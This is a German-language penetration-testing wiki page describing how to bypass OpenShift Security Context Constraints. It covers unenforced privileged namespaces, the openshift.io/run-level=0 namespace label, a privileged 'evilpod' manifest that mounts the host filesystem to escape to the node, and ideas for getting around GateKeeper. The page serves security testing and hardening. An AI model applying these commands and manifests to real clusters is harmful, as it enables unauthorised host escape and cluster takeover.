Openshift - SCC bypass

Reading time: 3 minutes

Der ursprüngliche Autor dieser Seite ist Guillaume

Privilegierte Namespaces

Standardmäßig wird SCC nicht auf folgenden Projekten angewendet:

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

Wenn Sie Pods in einem dieser Namespaces bereitstellen, wird kein SCC durchgesetzt, was die Bereitstellung von privilegierten Pods oder das Einbinden des Host-Dateisystems ermöglicht.

Namespace-Label

Es gibt eine Möglichkeit, die Anwendung von SCC auf Ihrem Pod gemäß der RedHat-Dokumentation zu deaktivieren. Sie müssen mindestens eine der folgenden Berechtigungen haben:

  • Erstellen eines Namespaces und Erstellen eines Pods in diesem Namespace
  • Bearbeiten eines Namespaces und Erstellen eines Pods in diesem Namespace
bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Das spezifische Label openshift.io/run-level ermöglicht es Benutzern, SCCs für Anwendungen zu umgehen. Laut der RedHat-Dokumentation werden bei Verwendung dieses Labels keine SCCs auf alle Pods innerhalb dieses Namensraums durchgesetzt, wodurch alle Einschränkungen effektiv aufgehoben werden.

Label hinzufügen

Um das Label in Ihrem Namensraum hinzuzufügen:

bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0

Um einen Namespace mit dem Label über eine YAML-Datei zu erstellen:

yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Jetzt sollten alle neuen Pods, die im Namespace erstellt werden, keine SCC haben.

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

In Abwesenheit von SCC gibt es keine Einschränkungen für Ihre Pod-Definition. Das bedeutet, dass ein bösartiger Pod leicht erstellt werden kann, um auf das Host-System zu entkommen.

yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Jetzt ist es einfacher geworden, Privilegien zu eskalieren, um auf das Hostsystem zuzugreifen und anschließend den gesamten Cluster zu übernehmen, wodurch 'cluster-admin' Privilegien erlangt werden. Suchen Sie nach dem Abschnitt Node-Post Exploitation auf der folgenden Seite:

Attacking Kubernetes from inside a Pod

Benutzerdefinierte Labels

Darüber hinaus können je nach Zielkonfiguration einige benutzerdefinierte Labels / Annotationen auf die gleiche Weise wie im vorherigen Angriffszenario verwendet werden. Auch wenn sie nicht dafür vorgesehen sind, könnten Labels verwendet werden, um Berechtigungen zu erteilen oder eine bestimmte Ressource einzuschränken oder nicht.

Versuchen Sie, nach benutzerdefinierten Labels zu suchen, wenn Sie einige Ressourcen lesen können. Hier ist eine Liste interessanter Ressourcen:

  • Pod
  • Deployment
  • Namespace
  • Service
  • Route
bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Liste aller privilegierten Namespaces

bash
$ oc get project -o yaml | grep 'run-level' -b5

Fortgeschrittener Exploit

In OpenShift, wie zuvor demonstriert, kann das Berechtigung, ein Pod in einem Namespace mit dem openshift.io/run-level-Label zu deployen, zu einer unkomplizierten Übernahme des Clusters führen. Aus der Perspektive der Cluster-Einstellungen kann diese Funktionalität nicht deaktiviert werden, da sie Teil des Designs von OpenShift ist.

Allerdings können Maßnahmen wie Open Policy Agent GateKeeper verhindern, dass Benutzer dieses Label setzen.

Um die Regeln von GateKeeper zu umgehen und dieses Label zu setzen, um eine Cluster-Übernahme durchzuführen, müssen Angreifer alternative Methoden identifizieren.

Referenzen